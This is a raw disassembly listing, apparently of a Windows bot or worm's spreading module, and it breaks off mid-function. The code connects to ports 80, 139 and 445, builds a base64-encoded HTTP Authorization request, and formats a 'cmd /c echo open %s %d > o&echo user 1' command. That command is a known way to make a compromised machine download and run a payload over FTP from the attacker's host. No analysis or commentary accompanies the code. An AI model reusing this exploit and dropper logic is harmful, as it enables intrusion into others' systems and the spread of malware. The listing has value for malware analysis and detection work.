		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D

loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E

loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]

loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1

loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx

loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax

loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D6C[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B

loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi

loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]

loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0

loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx

loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D128
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------

loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax

loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]

loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------

loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1

loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx

loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F18
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACB0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DB0
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi

loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAF74
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------

loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------

loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04

loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch

loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al

loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB00C
		test	esi, esi
		jnz	short loc_40D473

loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		nop
		call	near ptr 2660EB7h

loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A

loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431418[eax]
		lea	eax, dword_431418[eax]

loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi

loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8

loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A

loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A

loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573

loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]

loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8

loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8

loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8

loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A

loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3

loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------

loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------

loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC

loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------

loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC

loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B

loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1

loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------

loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx

loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573

loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax

loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]

loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax

loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax

loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------

loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi

loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx

loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF

loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB594, 1
		jnz	short loc_40D888
		or	byte_4DB594, 1

loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321D0
		add	eax, 6
		mov	dword_4CDC94, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------

loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
